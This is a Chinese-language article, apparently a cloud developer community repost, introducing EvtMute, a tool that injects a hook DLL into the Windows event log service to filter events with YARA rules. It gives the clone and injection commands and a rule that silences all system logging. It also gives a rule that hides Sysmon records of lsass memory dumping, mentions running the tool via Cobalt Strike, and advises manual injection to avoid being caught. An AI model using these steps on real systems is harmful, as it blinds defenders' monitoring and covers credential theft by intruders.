在这篇文章中,我们将告诉大家如何使用EvtMute来对Windows事件日志进行筛选过滤。EvtMute这款工具允许我们使用YARA来进行攻击性操作,并对已经报告给Windows事件日志的事件进行过滤和筛选。
广大研究人员可以使用下列命令将该项目克隆至本地:
git clone https://github.com/bats3c/EvtMute
或者,大家也可以直接点击底部【阅读原文】访问该项目的Releases也买你来下载最新的EvtMute已编译版本。
EvtMuteHook.dll中包含的是该工具的核心功能,成功注入之后,它将会应用一个临时过滤器,允许报告所有事件,这个过滤器可以动态更新,而不必重新注入。而SharpEvtMute.exe则是一个C#程序集,它可以通过在shad0w中执行或在Cobalt Strike中轻松运行程序集。为了更好地与shad0w集成,我还打算用C编写原生版本。
最常见的EvtMute使用场景就是禁用系统范围内的事件日志记录了,此时我们可以应用下列Yara规则:
rule disable { condition: true }
此时,我们首先需要通过向事件(event)服务中注入钩子:
.\SharpEvtMute.exe --Inject
钩子设置好之后,我们就可以开始添加过滤器了:
.\SharpEvtMute.exe --Filter "rule disable { condition: true }"
现在,event服务将会忽略所有的事件。
EvtMute的过滤器是可以动态变更的,而且无需重新注入钩子,这样可以方便广大研究人员随时轻松更新原有的过滤器以及过滤规则。
更加复杂的过滤器示例如下,它能够它能够阻止sysmon报告与lsass内存转储相关的事件:
rule block_lsass_dump {
meta:
author = "@_batsec_"
description = "Prevent lsass dumping being reported by sysmon"
strings:
$provider = "Microsoft-Windows-Sysmon"
$image = "lsass.exe" nocase
$access = "GrantedAccess"
$type = "0x1fffff"
condition:
all of them
}
像这样复杂的Yara规则,我们很难去将其浓缩成一行“代码”,这也就是为什么我在EvtMute中添加了Base64编码功能。
这个规则可以使用Linux命令行终端轻松转换为Base64编码规则:
base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin)
接下来,可以使用—Encoded选项将其传递给过滤器:
注入钩子时,SharpEvtMute.exe将会调用CreateRemoteThread,而且这个调用是在钩子设置之前进行的,因此它会被Sysmon捕捉并报告,这是因为SharpEvtMute.exe文件只能用作PoC。因此,我建议大家手动将EvtMuteHook.dll注入到事件日志服务之中。
它的进程PID可以通过运行下列命令来查看,你还可以通过C2框架来将钩子手动注入至shellcode中。
值得一提的是,钩子将使用命名管道来更新过滤器,命名的管道名为EvtMuteHook_Rule_Pipe。
EvtMute:点击底部【阅读原文】获取
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有